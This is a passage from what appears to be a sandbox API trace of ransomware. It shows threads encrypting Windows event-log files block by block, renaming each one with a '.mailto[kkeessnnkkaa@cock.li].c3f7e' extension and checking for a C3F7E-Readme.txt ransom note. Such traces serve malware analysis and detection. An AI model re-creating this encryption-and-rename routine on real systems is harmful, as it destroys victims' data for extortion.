	[0074.737] wcscpy (in: _Dest=0x2d70700, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.737] wcscat (in: _Dest=0x2d70700, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.737] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.737] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70700) returned 1
	[0074.737] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d63ce8) returned 1

Thread:
	id = 142
	os_tid = 0xda8

	[0074.404] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0074.509] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.521] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8ac
	[0074.521] GetFileSizeEx (in: hFile=0x8ac, lpFileSize=0x858fd40 | out: lpFileSize=0x858fd40*=69632) returned 1
	[0074.521] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.521] ReadFile (in: hFile=0x8ac, lpBuffer=0x858fcc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x858fcc0, lpOverlapped=0x0 | out: lpBuffer=0x858fcc4*, lpNumberOfBytesRead=0x858fcc0*=0x4, lpOverlapped=0x0) returned 1
	[0074.573] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0074.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.574] NtQuerySystemTime (in: CurrentTime=0x858fca0 | out: CurrentTime=0x858fca0*=132251868013132378) returned 0x0
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xb110cb63
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xa2dbc81b
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x46c3106e
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xd2560d3
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x94a22b34
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xa6acfdb7
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x73833a8c
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x3800b28e
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xff07827
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xa3fc9d7a
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xdf40496e
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xadd9d1d2
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x9f71b37f
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x595eae29
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x3086bf04
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x683ddc
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xaf5e9f23
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xe522f225
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x4ea9b91f
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xcef6b54d
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xcbcfec8a
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xfa63588
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xb4681600
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x506b7d3a
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xa607ee2c
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x603edba3
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0xafbe704c
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x7bc4bc96
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x21c038b8
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x1a163546
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x1b905b1e
	[0074.574] RtlRandom (in: Seed=0x858fcac | out: Seed=0x858fcac) returned 0x26182e02
	[0074.583] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.583] ReadFile (in: hFile=0x8ac, lpBuffer=0x2e3afa8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x858fc80, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesRead=0x858fc80*=0xc800, lpOverlapped=0x0) returned 1
	[0074.614] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47880
	[0074.614] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47880) returned 1
	[0074.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47b67c8
	[0074.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0074.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.617] WriteFile (in: hFile=0x8ac, lpBuffer=0x47b67c8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x858fc80, lpOverlapped=0x0 | out: lpBuffer=0x47b67c8*, lpNumberOfBytesWritten=0x858fc80*=0xc800, lpOverlapped=0x0) returned 1
	[0074.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47b67c8) returned 1
	[0074.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0074.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x47330a0
	[0074.630] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.630] WriteFile (in: hFile=0x8ac, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x858fd00, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x858fd00*=0x14f, lpOverlapped=0x0) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0074.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0074.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d89548
	[0074.639] wcscpy (in: _Dest=0x2d89548, _Source="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx"
	[0074.639] wcscat (in: _Dest=0x2d89548, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.639] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x858fcb8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d70218
	[0074.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0074.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.644] NtQueryInformationFile (in: FileHandle=0x8ac, IoStatusBlock=0x858fcc4, FileInformation=0x858fc9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x858fcc4, FileInformation=0x858fc9c) returned 0x0
	[0074.644] NtSetInformationFile (FileHandle=0x8ac, IoStatusBlock=0x858fcc4, FileInformation=0x858fc9c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89548) returned 1
	[0074.661] FlushFileBuffers (hFile=0x8ac) returned 1
	[0074.662] CloseHandle (hObject=0x8ac) returned 1
	[0074.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70700
	[0074.663] wcscpy (in: _Dest=0x2d70700, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.663] wcscat (in: _Dest=0x2d70700, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.663] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70700) returned 1
	[0074.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a618) returned 1

Thread:
	id = 143
	os_tid = 0xbac

	[0074.405] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0074.528] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.528] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8b0
	[0074.528] GetFileSizeEx (in: hFile=0x8b0, lpFileSize=0x860fe84 | out: lpFileSize=0x860fe84*=69632) returned 1
	[0074.528] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.528] ReadFile (in: hFile=0x8b0, lpBuffer=0x860fe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x860fe04, lpOverlapped=0x0 | out: lpBuffer=0x860fe08*, lpNumberOfBytesRead=0x860fe04*=0x4, lpOverlapped=0x0) returned 1
	[0074.537] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0074.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0074.537] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.537] NtQuerySystemTime (in: CurrentTime=0x860fde4 | out: CurrentTime=0x860fde4*=132251868012758385) returned 0x0
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xdabaa7bd
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x2c8959ba
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x604c24d3
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x693dd2ed
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xe8aa515
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x6acf1cb2
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x41ef7e81
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xfb623032
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xcae8cc76
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x54ca9d43
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xc346b0bb
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x49cbbfdd
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x5b4f01e4
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x1dee03cb
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x4131a6db
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xf1889022
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x8ebf1360
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xce8883e6
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xcd337640
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x583dc498
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x5d111833
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xa8f05319
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x8cfede82
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x6e534c28
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x76a78183
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xf3052721
	[0074.537] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x26124618
	[0074.538] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xd59ed180
	[0074.538] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0x9716978d
	[0074.538] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xa25309e0
	[0074.538] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xa512a363
	[0074.538] RtlRandom (in: Seed=0x860fdf0 | out: Seed=0x860fdf0) returned 0xfb30bc8e
	[0074.546] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.546] ReadFile (in: hFile=0x8b0, lpBuffer=0x4790fb0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x860fdc4, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesRead=0x860fdc4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.586] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0074.587] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0074.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e04f78
	[0074.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0074.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.590] WriteFile (in: hFile=0x8b0, lpBuffer=0x2e04f78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x860fdc4, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesWritten=0x860fdc4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.639] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0074.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x47330a0
	[0074.640] SetFilePointerEx (in: hFile=0x8b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.640] WriteFile (in: hFile=0x8b0, lpBuffer=0x2d88a78*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x860fe44, lpOverlapped=0x0 | out: lpBuffer=0x2d88a78*, lpNumberOfBytesWritten=0x860fe44*=0x153, lpOverlapped=0x0) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88a78) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a10) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0074.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x2d865f0
	[0074.733] wcscpy (in: _Dest=0x2d865f0, _Source="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx"
	[0074.733] wcscat (in: _Dest=0x2d865f0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.733] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x860fdfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d70218
	[0074.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0074.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e138) returned 1
	[0074.734] NtQueryInformationFile (in: FileHandle=0x8b0, IoStatusBlock=0x860fe08, FileInformation=0x860fde0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x860fe08, FileInformation=0x860fde0) returned 0x0
	[0074.734] NtSetInformationFile (FileHandle=0x8b0, IoStatusBlock=0x860fe08, FileInformation=0x860fde0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.735] FlushFileBuffers (hFile=0x8b0) returned 1
	[0074.754] CloseHandle (hObject=0x8b0) returned 1
	[0074.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70dc0
	[0074.754] wcscpy (in: _Dest=0x2d70dc0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.754] wcscat (in: _Dest=0x2d70dc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.754] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70dc0) returned 1
	[0074.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60548) returned 1

Thread:
	id = 144
	os_tid = 0x788

	[0074.406] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0074.546] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.546] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8a8
	[0074.546] GetFileSizeEx (in: hFile=0x8a8, lpFileSize=0x868fd90 | out: lpFileSize=0x868fd90*=69632) returned 1
	[0074.547] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.547] ReadFile (in: hFile=0x8a8, lpBuffer=0x868fd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x868fd10, lpOverlapped=0x0 | out: lpBuffer=0x868fd14*, lpNumberOfBytesRead=0x868fd10*=0x4, lpOverlapped=0x0) returned 1
	[0074.590] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0074.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0074.590] NtQuerySystemTime (in: CurrentTime=0x868fcf0 | out: CurrentTime=0x868fcf0*=132251868013227795) returned 0x0
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xbae17aaa
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x9796e1ba
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x642d2654
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xfe389a4d
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xc496651d
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xf50fc4a3
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x6c09ffe6
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xadb75466
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xf64fd295
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xca805313
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xe1cc6d46
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x91e01702
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x642d46e4
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x43c97599
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x984b9baa
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x147fe71b
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xe9461872
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0x9625db2e
	[0074.590] RtlRandom (in: Seed=0x868fcfc | out: Seed=0x868fcfc) returned 0xc5e3034e
